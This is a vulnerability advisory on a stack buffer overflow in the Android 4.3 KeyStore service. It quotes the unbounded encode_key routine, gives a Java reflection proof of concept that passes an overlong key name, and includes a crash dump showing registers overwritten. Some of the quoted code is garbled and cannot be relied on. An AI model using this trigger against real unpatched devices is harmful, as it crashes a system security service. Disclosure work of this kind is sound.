<--

Android KeyStore Stack Buffer Overflow

Aleph Research Advisory

Identifier

Severity

High

Product

Android

Vulnerable Version

4.3

Mitigation

Apply patches

Technical Details

A stack buffer is created by the KeyStore::getKeyForName method.

ResponseCode getKeyForName (Blob *keyBlob , const android :: String8 & keyName , const uid_t uid , const BlobType type )
{
    char filename [NAME_MAX];
    encode_key_for_uid (filename, uid, keyName);
    [...]
}

This function has several callers which are accessible by external applications using the Binder interface (e.g. int32_t android::KeyStoreProxy::get(const String16 &name, uint8_t **item, size_t *itemLength)). Therefore the keyName variable can be controllable with an arbitrary size by a malicious application. As it can be seen, the encode_key routine which is called by encode_key_for_uid can overflow the filename buffer since bounds checking is absent:

static int encode_key_for_uid (char *out, uid_t uid, 
                              const android::String8 &keyName)
{
    int n = snprintf(out, NAME_MAX , "%u_", uid);
    out += n;
    return n + encode_key (out, keyName);
}

static int encode_key (char *out, const android::String8 &keyName)
{
    const uint8_t *in = reinterpret_cast < const uint8_t *>( keyName . string ());
    size_t length = keyName . length ();
    for (int i = length ; i > 0; --i, ++in, ++out) {
        if (*in < 0 || *in > ~) {
            *out = + + (*in >> 6);
            *++out = 0 + (*in & 0x3F);
            ++length;
        }   else {
                *out = *in;
            }
    }
    *out = ’\0;
    return length ;
}

Proof-of-Concept

Should be executed by an Android app:

Class keystore = Class.forName("android.security.KeyStore");
Method mGetInstance = keystore.getMethod("getInstance");
Method mGet = keystore.getMethod("get", String.class);
Object instance = mGetInstance.invoke(null);
mGet.invoke (instance,
             "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
             "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
             "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
             "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
             "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
             "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
              "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");

Crash dump

F/ libc ( 2091): Fatal signal 11 ( SIGSEGV ) at 0 x61616155 ( code =1) , thread 2091 ( keystore )
I/ DEBUG ( 949): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/ DEBUG ( 949): Build fingerprint : ’ generic_x86 / sdk_x86 / generic_x86 :4.3/ JSS15
J/ eng . android - build .20130801.155736: eng / test - keys ’
I/ DEBUG ( 949): Revision : ’0’
I/ DEBUG ( 949): pid : 2091 , tid : 2091 , name : keystore >>> / system / bin / keystore <<<
I/ DEBUG ( 949): signal 11 ( SIGSEGV ), code 1 ( SEGV_MAPERR ) , fault addr 61616155
I/ DEBUG ( 949): eax 61616161 ebx b7779e94 ecx bff85ed0 edx b777a030
I/ DEBUG ( 949): esi b82a78a0 edi 000003 e8
I/ DEBUG ( 949): xcs 00000073 xds 0000007 b xes 0000007 b xfs 00000000 xss 0000007 b
I/ DEBUG ( 949): eip b7774937 ebp 61616161 esp bff85d20 flags 00010202
I/ DEBUG ( 949):
I/ DEBUG ( 949): backtrace :
I/ DEBUG ( 949): #00 pc 0000 c937 / system / bin / keystore ( KeyStore :: getKeyForName ( Blob * ,android :: String8 const & , unsigned int , BlobType )+695)
I/ DEBUG ( 949):
I/ DEBUG ( 949): stack :
I/ DEBUG ( 949): bff85ce0 00000000
[...]
I/ DEBUG ( 949): bff85d48 00000007
I/ DEBUG ( 949): bff85d4c bff85ed0 [ stack ]
I/ DEBUG ( 949): bff85d50 bff8e1bc [ stack ]
I/ DEBUG ( 949): bff85d54 b77765a3 / system / bin / keystore
I/ DEBUG ( 949): bff85d58 b7776419 / system / bin / keystore
I/ DEBUG ( 949): bff85d5c bff85ed4 [ stack ]
I/ DEBUG ( 949): ........ ........
I/ DEBUG ( 949):
I/ DEBUG ( 949): memory map around fault addr 61616155:
I/ DEBUG ( 949): ( no map below )
I/ DEBUG ( 949): ( no map for address )
I/ DEBUG ( 949): b72ba000 - b73b8000 r -- / dev / binder

Timeline

Credit

External References